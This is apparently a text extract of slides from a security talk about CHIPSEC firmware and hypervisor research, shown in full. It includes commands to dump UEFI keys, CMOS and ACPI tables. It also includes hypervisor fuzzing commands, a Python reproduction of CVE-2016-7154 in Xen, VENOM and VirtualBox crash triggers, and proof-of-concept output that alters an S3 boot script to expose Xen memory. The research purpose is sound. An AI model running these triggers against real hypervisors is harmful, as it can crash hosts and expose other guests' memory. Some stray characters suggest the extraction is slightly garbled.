<td>MaintenanceSetup_C076D34-9C84-4955-AE93-3F3C9EB2DA0_NV+5+Rt_0</td>
<td>bin</td>
<td>410</td>
</tr>
<tr>
<td>MemorySize_02F0D0B0-02C1-41FD-0EFD-047CF2123529_NV+5+Rt_0</td>
<td>bin</td>
<td>7</td>
</tr>
<tr>
<td>MemoryTypInfStructure_4C1904F-4137-4A03-C15F-3A0379377DF_A_NV+5+Rt_0</td>
<td>bin</td>
<td>64</td>
</tr>
<tr>
<td>NbpPlatformData_C076D34-9C84-4955-AE93-3F3C9EB2DA0_NV+5+Rt_0</td>
<td>bin</td>
<td>4,062</td>
</tr>
</tbody>
</table>

This output shows various EFI configuration variables, including Secure Boot certificates (PK, KEK, db, dbx) and BootOrder variables.
Extracting UEFI Secure Boot keys...

```bash
chipsec_util uefi var-find PK / db / dbx / KEK

chipsec_util uefi keys db.bin / dbx.bin / kek.bin
```
Locating UEFI System Table & Runtime Services

chipsec_util uefi tables
Extracting CMOS Settings...

`chipsec_util cmos dump`

[CHIPSEC] Dumping CMOS memory..

Low CMOS contents:

```
...0...1...2...3...4...5...6...7...8...9...A...B...C...D...E...F
00..06 33 28 46 10 11 04 16 05 16 26 02 50 80 00 09
10..FF FF FF FF 0E 80 02 00 3C FF FF FF FF FF FF 17 B5
20..FF FF FF FF 00 9F 00 00 00 00 00 00 00 00 00 00
30..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
40..FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00
50..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
60..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
70..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
```

High CMOS contents:

```
...0...1...2...3...4...5...6...7...8...9...A...B...C...D...E...F
00..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
10..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
20..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
30..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
40..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
50..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
60..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
70..FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
```

[CHIPSEC] (cmos) time elapsed 0.011
Locating ACPI Tables…

```
[acpi] found RSDP in EFI memory: 0x00000000DA871000

Root System Description Pointer (RSDP)

Signature : RSD PTR
Checksum   : 0x4C
OEM ID     : _ASUS_
Revision   : 0x02
RSDT Address: 0xDA871028
Length     : 0x00000024
XSDT Address: 0x00000000DA871098
Extended Checksum: 0xD3
Reserved   : 00 00 00

[acpi] found XSDT at PA: 0x00000000DA871098

[CHIPSEC]Enumerating ACPI tables..
- MSDM: 0x00000000DA61EE18
- BGRT: 0x00000000DA887718
- HPET: 0x00000000DA885420
- XSDT: 0x00000000DA871098
- ECDT: 0x00000000DA8831E0
- FPDT: 0x00000000DA883198
- APIC: 0x00000000DA883120
- FACP: 0x00000000DA883010
- MCFG: 0x00000000DA8832A8
- SSDT: 0x00000000DA8873D0
```
Finding vulnerabilities in hypervisors
Fuzzing and exploring hypervisors…

筷子 Hypercall fuzzers:

tools.vmm.*.hypercallfuzz

筷子 Fuzzing modules for emulated devices:

tools.vmm.*_fuzz

I/O, MSR, PCIe device, MMIO overlap, more soon …

筷子 Tools to explore VMM hardware config

chipsec_util iommu (IOMMU)
chipsec_util vmm (CPU VM extensions)
Fuzzing Xen Hypercalls

chipsec_main -i -m tools.vmm.xen.hypercallfuzz -a fuzzing,22,1000

- Some hypercalls tend to crash the guest too often
- Most tests fail on sanity checks
Example: Crashing Xen Host by Unprivileged Guest (XSA 188)

Finding CVE-2016-7154 by fuzzing Xen hypercalls:

```bash
chipsec_main -i -m tools.vmm.xen.hypercallfuzz -a fuzzing,20,1000000
```

Reproducing CVE-2016-7154:

```python
(args_va, args_pa) = self.cs.mem.alloc_physical_mem(0x1000, 0xFFFFFFFFFFFFFFFF)
self.cs.mem.write_physical_mem(args_pa, 24, '\xFF' * 8 + '\x00' * 16)
self.vmm.hypercall64_five_args(EVENT_CHANNEL_OP, EVTCHOP_INIT_CONTROL, args_va)
self.vmm.hypercall64_five_args(EVENT_CHANNEL_OP, EVTCHOP_INIT_CONTROL, args_va)
```

Turns out when the PFN parameter is invalid, hypercall returns `XEN_ERRNO_EINVAL` error, but doesn’t zero out internal pointer ➔ **Use-After-Free**
Fuzzing CPU Model Specific Registers...

```
chipsec_main -i -m tools.vmm.msr_fuzz
```

Low MSR range, High MSR range and VMM synthetic MSR range
Issues in MSR Hypervisor Emulation

CVE-2015-0377

Writing arbitrary data to upper 32 bits of IA32_APIC_BASE MSR causes VMM and host OS to crash on Oracle VirtualBox 3.2, 4.0.x-4.2.x

chipsec_main -m tools.vmm.vbox.vbox_crash_apicbase

XSA-108

A buggy or malicious HVM guest can crash the host or read data relating to other guests or the hypervisor itself by reading MSR from range [0x100;0x3ff]. Discovered by Jan Beulich
Fuzzing Hypervisor Emulation of I/O Ports...

chipsec_main -i -m tools.vmm.iofuzz

test@test-Virtual-Machine:~/chipsec$ sudo python chipsec_main.py -i -m tools.vmm.iofuzz
[*] Ignoring unsupported platform warning and continue execution
[*] Module: I/O port fuzzer

Usage: chipsec_main -m tools.vmm.iofuzz [ <mode>,<count>,<iterations> ]
mode       I/O handlers testing mode
   = exhaustive fuzz all I/O ports exhaustively (default)
   = random   fuzz randomly chosen I/O ports
count      how many times to write to each port (default = 1000)
iterations number of I/O ports to fuzz (default = 1000000 in random mode)

[*] Configuration:
   Mode          : exhaustive
   Write count   : 1000
   Ports/iterations: 65536

[*] Fuzzing I/O ports in a range 0:0xFFFF..
[*] fuzzing I/O port 0x0000

Fuzzer covers entire I/O port range with 1000 writes to each port
Example: VENOM Vulnerability

**VENOM vulnerability** (discovered by CrowdStrike researchers)

```bash
chipsec_main -i -m tools.vmm.venom
```

Trigger Venom vulnerability by writing to port 0x3F5 (FDC data) value 0x8E and 0x10000000 of random bytes.
Example: Root to Hyper-V Exploit via SMM

IO Bitmap (causes a VM exit):
0x0020
0x0021
0x0064
0x00a0
0x00a1
0xcfc8
0xcfc
0xcfd
0xcfe
0xcff

RD MSR Bitmap (doesn’t cause a VM exit):
0x000000174
0x000000175
0x000000176
0xc0000100
0xc0000101
0xc0000102

WR MSR Bitmap (doesn’t cause a VM exit):
0x000000174
0x000000175
0x000000176
0xc0000100
0xc0000101
0xc0000102
Example: Dom0 to Xen Exploit via S3 Boot Script

---

```
[*] loaded chipsec.modules.poc.vmm.xen
[*] running loaded modules ...
[*] running module: chipsec.modules.poc.vmm.xen
[*] Module path: /home/user/xen_demo/source/tool/chipsec/module/poc/vmm/xen.pyc
[x][ Module: Xen VMM memory exposure
[x][ u0f] Found 1 S3 resume boot-script(s)
[uefi] S3 resume boot-script at 0x00000000DBAA4000
[uefi] Decoding S3 Resume Boot-Script...
[uefi] S3 Resume Boot-Script size: 0x8AD9
[*] Modifying system firmware S3 boot script to open Xen memory
[*] PASSED: The firmware S3 boot script has been modified. VMCS structures will be exposed after resume
```

---

```
[*] running module: chipsec.modules.poc.vmm.vm_find
[*] Module path: /home/user/xen_demo/source/tool/chipsec/modules/poc/vmm/vm_find.pyc
[x][ Module: Virtual Machines Analyser
[x][ Searching VM VMCS ...
[*][ Found Virtual Machine #1
[*][ Extended Page Tables Address: 000000001EF6FO1E
[*][ Guest: CR0=8005003B CR3=390F6000 CR4=001426F0 RIP=FFFFFFFF81055165 RSP=FFFFFFFF81C03E90
[*][ Host : CR0=8005003B CR3=1058BE00 CR4=001526F0 RIP=FFFFFFFF82D0801DE100 RSP=FFFFFFFF83011D117F90
```

---

- Found S3 boot script table in memory accessible to Dom0
- Dumping DomU VMCS from memory protected by EPT
- Changing the boot script to access Xen hypervisor pages
Extracting VMM Artifacts: VMCS, MSR, I/O Bitmaps...

```
CPU_BASED_VM_EXEC_CONTROL:
  Bit 2: 0 Interrupt-window exiting
  Bit 3: 1 Use TSC offsetting
  Bit 7: 1 HLT exiting
  Bit 9: 0 INVLPG exiting
  Bit 10: 1 MWAIT exiting
  Bit 11: 1 RDPMC exiting
  Bit 12: 0 RDTSC exiting
  Bit 15: 0 CR3-load exiting
  Bit 16: 0 CR3-store exiting
  Bit 19: 0 CR8-load exiting
  Bit 20: 0 CR8-store exiting
  Bit 21: 1 Use TPR shadow
  Bit 22: 0 NMI-window exiting
  Bit 23: 1 MOV-DR exiting
  Bit 24: 0 Unconditional I/O exiting
  Bit 25: 1 Use I/O bitmaps
  Bit 27: 0 Monitor trap flag
  Bit 28: 1 Use MSR bitmaps
  Bit 29: 1 MONITOR exiting
  Bit 30: 0 PAUSE exiting
  Bit 31: 1 Activate secondary controls

SECONDARY_VM_EXEC_CONTROL:
  Bit 0: 1 Virtualize APIC accesses
  Bit 1: 1 Enable EPT
  Bit 2: 1 Descriptor-table exiting
  Bit 3: 1 Enable RDTSCP
  Bit 4: 0 Virtualize x2APIC mode

IO Bitmap (causes a VM exit):
  0x00020
  0x00021
  0x00064
  0x00a0
  0x00a1
  0x0cf8
  0x0cfc
  0x0cfd
  0x0cfe
  0x0cff

RD MSR Bitmap (doesn’t cause a VM exit):
  0x00000174
  0x00000175
  0x00000176
  0xc0000100
  0xc0000101
  0xc0000102

WR MSR Bitmap (doesn’t cause a VM exit):
  0x00000174
  0x00000175
  0x00000176
  0xc0000100
  0xc0000101
  0xc0000102
```
Extracting VMM Artifacts: Extended Page Tables...

- EPTP: 0x0000004a8000
  - PML4E: 0x0000004b1000
  - PDPT: 0x0000004b1000
    - PDE: 0x0000004b1000
      - PTE: 0x000000000000 - 4KB PAGE XWR GPA: 0x000000000000
      - PTE: 0x000000002000 - 4KB PAGE XWR GPA: 0x000000000200
      - PTE: 0x000000003000 - 4KB PAGE XWR GPA: 0x000000000300
      - PTE: 0x000000004000 - 4KB PAGE XWR GPA: 0x000000000400
      - PTE: 0x000000005000 - 4KB PAGE XWR GPA: 0x000000000500
      - PTE: 0x000000006000 - 4KB PAGE XWR GPA: 0x000000000600

EPT Host physical address ranges:
- 0x000000000000 - 0x000000000fff 1 XWR
- 0x000000002000 - 0x000000008000 155 XWR
- 0x00000000c000 - 0x00000000c7fff 8 XWR
- 0x00000000d000 - 0x00000000d9fff 1 XWR
- 0x00000000e000 - 0x00000000e7fff 1 XWR
- 0x00000000e000 - 0x00000000f192fff 179 XWR
- 0x00000000f5000 - 0x00000000f5fff 1 --R
- 0x00000000f5000 - 0x00000000f6fff 1 XWR
- 0x00000000f8000 - 0x00000000f9fff 2 XWR
- 0x00000000fa000 - 0x00000000fa3fff 6 XWR
- 0x00000000fa5000 - 0x00000000fa4fff 31 XWR
- 0x00000000fa8000 - 0x00000000fa8fff 1 XWR
- 0x00000000fbc000 - 0x00000000fbcfff 18 XWR
Conclusions

• Securing the firmware or detecting firmware compromise is a complex problem

• Sophisticated adversaries start targeting firmware with implants

• Defenders need security research available to them to understand the threat and protect their infrastructure

• Defenders also need tools to level the field with sophisticated adversaries
Thank You!